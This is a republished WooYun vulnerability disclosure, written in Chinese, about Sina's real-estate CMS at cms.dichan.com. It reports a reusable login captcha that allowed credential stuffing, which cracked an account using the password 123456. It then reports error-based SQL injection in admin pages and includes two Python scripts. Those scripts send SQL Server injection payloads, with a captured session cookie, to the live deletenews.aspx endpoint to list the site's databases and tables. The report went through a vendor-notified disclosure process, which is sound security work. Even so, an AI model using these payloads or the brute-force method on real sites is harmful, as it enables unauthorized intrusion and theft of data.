新浪地产CMS存设计缺陷和多处sql注入(附.py脚本)

admin 2017年5月2日01:46:00评论353 views字数 226阅读0分45秒阅读模式
摘要

2016-04-15: 细节已通知厂商并且等待厂商处理中
2016-04-15: 厂商已经确认,细节仅向厂商公开
2016-04-25: 细节向核心白帽子及相关领域专家公开
2016-05-05: 细节向普通白帽子公开
2016-05-15: 细节向实习白帽子公开
2016-05-30: 细节向公众公开

漏洞概要 关注数(17) 关注此漏洞

缺陷编号: WooYun-2016-196430

漏洞标题: 新浪地产CMS存设计缺陷和多处sql注入(附.py脚本)

相关厂商: 新浪

漏洞作者: soFree

提交时间: 2016-04-15 11:33

公开时间: 2016-05-30 17:10

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 18

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: asp+sqlserver注射

4人收藏


漏洞详情

披露状态:

2016-04-15: 细节已通知厂商并且等待厂商处理中
2016-04-15: 厂商已经确认,细节仅向厂商公开
2016-04-25: 细节向核心白帽子及相关领域专家公开
2016-05-05: 细节向普通白帽子公开
2016-05-15: 细节向实习白帽子公开
2016-05-30: 细节向公众公开

简要描述:

新浪地产CMS存设计缺陷和多处sql注入(附.py脚本)

详细说明:

url:http://cms.dichan.com/default.aspx

设计缺陷出现在登录时图片验证码使用一次未失效,可撞库和暴破

123456撞出一个账号:

新浪地产CMS存设计缺陷和多处sql注入(附.py脚本)

进来后,发现多处存在sql报错注入

比如:操作日志

新浪地产CMS存设计缺陷和多处sql注入(附.py脚本)

再比如:删除房产新闻

新浪地产CMS存设计缺陷和多处sql注入(附.py脚本)

下面用“删除房产新闻”模块来脱裤:

1、手工,通过数学函数判断是什么类型数据库:Sql Server:@@rowcount MySql:last_insert_id() oracle:bitand(1,1)

注入 @@rowcount 不报错,确定是Sql Server

2、数据库版本

Microsoft SQL Server 2008 R2

新浪地产CMS存设计缺陷和多处sql注入(附.py脚本)

3、爆当前连接的数据库

新浪地产CMS存设计缺陷和多处sql注入(附.py脚本)

后面两个用脚本跑,requests里有代理功能,便于抓包调试,这里采用第三方库 requests

4、爆所有存在的数据库:

新浪地产CMS存设计缺陷和多处sql注入(附.py脚本)

.py脚本:

import requests

print 'Start to retrive SqlServer database:/n'

user = ""

headers = {

'Cookie': 'ASP.NET_SessionId=adg4hn45zmhams55u50mil45; .dichancmsauth=994F1406866FA51A1EF32B936496199631077780812E3830EBE65D54D52FB04F3C216D0FDC8256BA7CAC46C0DC4DC5376641396484DAE46DFB6C09C1CD24E7EA70FA50877E567F584A097E8006E539BCBB907765ED9E4B7096F89B393EB77543AC9CBE7F; __utmt=1; __utma=21884462.522624074.1460635410.1460635410.1460635410.1; __utmb=21884462.2.10.1460635410; __utmc=21884462; __utmz=21884462.1460635410.1.1.utmcsr=cms.dichan.com|utmccn=(referral)|utmcmd=referral|utmcct=/comment/newscommentlist.aspx'};

for i in range(1, 14):

payload = '0/(select top 1 name from master..sysdatabases where name not in (select top %s name from master..sysdatabases))' % i

body = {'__VIEWSTATE': '/wEPDwUKMTkwNjc4NTIwMWRkXGYxEvkDlDR5TJiN9oPRDcCJMgo=',

'__VIEWSTATEGENERATOR': '59FA1B9F',

'__EVENTVALIDATION': '/wEWAwKqv92KDALZifH9CgKM54rGBghPZBNspYOcVa/5oCp6+cB/NDlD',

'housenewsIds': payload, 'Button1': '%E7%A1%AE%E5%AE%9A'}

url = 'http://cms.dichan.com/news/deletenews.aspx'

conn = requests.post(url, data=body, headers=headers, verify=False, allow_redirects=False)

html_doc = conn.content

conn.close()

print ".",

if conn.status_code == 200:

break

# get tables from response

begain = html_doc.index('nvarchar')

end = html_doc.index('int')

database = html_doc[begain + 14:end - 24]

user += database + ' , '

print database

print '/n[Done] SqlServer database is %s' % user

5、爆所有用户表

新浪地产CMS存设计缺陷和多处sql注入(附.py脚本)

.py脚本:

import requests

print 'Start to retrive SqlServer tables:/n'

user = ""

headers = {

'Cookie': 'ASP.NET_SessionId=adg4hn45zmhams55u50mil45; .dichancmsauth=994F1406866FA51A1EF32B936496199631077780812E3830EBE65D54D52FB04F3C216D0FDC8256BA7CAC46C0DC4DC5376641396484DAE46DFB6C09C1CD24E7EA70FA50877E567F584A097E8006E539BCBB907765ED9E4B7096F89B393EB77543AC9CBE7F; __utmt=1; __utma=21884462.522624074.1460635410.1460635410.1460635410.1; __utmb=21884462.2.10.1460635410; __utmc=21884462; __utmz=21884462.1460635410.1.1.utmcsr=cms.dichan.com|utmccn=(referral)|utmcmd=referral|utmcct=/comment/newscommentlist.aspx'};

for i in range(1, 200):

payload = "0/(SELECT TOP 1 NAME FROM SYSOBJECTS WHERE xtype='U' and name not in (SELECT TOP %s NAME FROM SYSOBJECTS WHERE xtype='U'))" % i

body = {'__VIEWSTATE': '/wEPDwUKMTkwNjc4NTIwMWRkXGYxEvkDlDR5TJiN9oPRDcCJMgo=',

'__VIEWSTATEGENERATOR': '59FA1B9F',

'__EVENTVALIDATION': '/wEWAwKqv92KDALZifH9CgKM54rGBghPZBNspYOcVa/5oCp6+cB/NDlD',

'housenewsIds': payload, 'Button1': '%E7%A1%AE%E5%AE%9A'}

url = 'http://cms.dichan.com/news/deletenews.aspx'

conn = requests.post(url, data=body, headers=headers, verify=False, allow_redirects=False)

html_doc = conn.content

conn.close()

print ".",

if conn.status_code == 200:

break

# get tables from response

begain = html_doc.index('nvarchar')

end = html_doc.index('int')

table = html_doc[begain + 14:end - 24]

user += table + ' , '

print database

print '/n[Done] SqlServer tables is %s' % user

------------------------------

点到为止

漏洞证明:

sql注入很可能不止这几处,建议你们一一排查下

修复方案:

版权声明:转载请注明来源 soFree@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2016-04-15 17:03

厂商回复:

感谢关注新浪安全,将通知合作方进行修复。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin